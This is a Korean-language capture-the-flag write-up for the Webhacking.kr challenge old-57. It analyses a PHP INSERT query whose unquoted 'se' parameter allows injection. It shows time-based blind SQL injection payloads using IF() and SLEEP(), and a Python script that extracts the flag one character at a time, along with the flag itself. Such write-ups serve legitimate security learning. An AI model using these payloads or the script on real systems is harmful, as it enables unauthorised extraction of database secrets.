본문 바로가기

Webhacking.kr

old-57

취약점 분석

<?php
  include "../../config.php";
  include "./flag.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>

 

SQL 부분만 따로 떼어보면

insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})

브라우저에 명확히 출력되는 값이 없으므로, 여기서 SQL Injection을 하려면 Blind SQLi를 써야한다.

pw값은 반드시 FLAG값으로 고정되어 있기 때문에, 다른 필드를 찾는다.

 

여러 시도를 해보다가, {$_GET['se']} 부분에 주목했다. 이 코드는 '{$_GET['msg']}'이 부분과 달리 작은 따옴표(')안에 있지 않다.

 

따라서 이 부분에는 SQL문을 넣을 수가 있는데, 여기에 sleep을 넣어보면, sleep함수에 설정한 시간만큼 응답이 지연된다.

10초 동안 응답이 지연되는 모습

따라서 이점을 이용해 Time Based Blind SQL Injection을 이용한다.

 

익스플로잇

IF(1=1, SLEEP(10), 1)
IF(1=2, SLEEP(10), 1)

이랬을 때 둘이 응답 시간이 차이난다는 것을 확인했다.

이렇게 SQL의 IF절과 SLEEP함수를 사용하여 FLAG값의 길이를 알아내고, 이어서 FLAG값을 한 글자 씩 알아내면 된다.

응답 시간의 차이를 이용한 Time Based Injection을 사용한다.

Payload Script

import requests
import string
import time

URL = 'https://webhacking.kr/challenge/web-34/index.php'
cookie = {'PHPSESSID':'iljpq4q17eci85orklkuqk2orj'}

# Find Length
pw_length = 1
while True:
    param="?msg=asddas&se=IF(length(pw)={},sleep(10),1)".format(pw_length)

    start = time.time()
    r=requests.get(URL + param, cookies=cookie)
    elapsed = time.time() - start
    print("Try password length : " + str(pw_length))

    if elapsed > 9:
        print("password_length : " + str(pw_length))
        break
    else:
        pw_length += 1

print("pw_length:{}".format(pw_length))

# Find Password
pw_length = 24
pw=""
for i in range(1, pw_length + 1):
    found = False

    for j in range(33,128):
        param = f"?msg=x&se=IF(ASCII(SUBSTR(pw,{i},1))={j},SLEEP(5),1)"

        start = time.time()
        r=requests.get(URL + param, cookies=cookie)
        elapsed = time.time() - start

        if elapsed > 3:  # threshold 3초 권장
            pw += chr(j)
            print(f"[+] found so far: {pw}")
            found = True
            break
    if not found:
        print(f"[!] no char found for position {i} (maybe row deleted by rand(0,100)==1)")
        # retry logic recommended
        break

print("pw:{}".format(pw))
# FLAG{y2u.be/kmPgjr0EL64}

'Webhacking.kr' 카테고리의 다른 글

old-44  (0) 2026.05.12
old-02  (0) 2026.05.12
old-13  (0) 2026.05.12
old-09  (0) 2026.05.12
CHILD  (0) 2026.05.11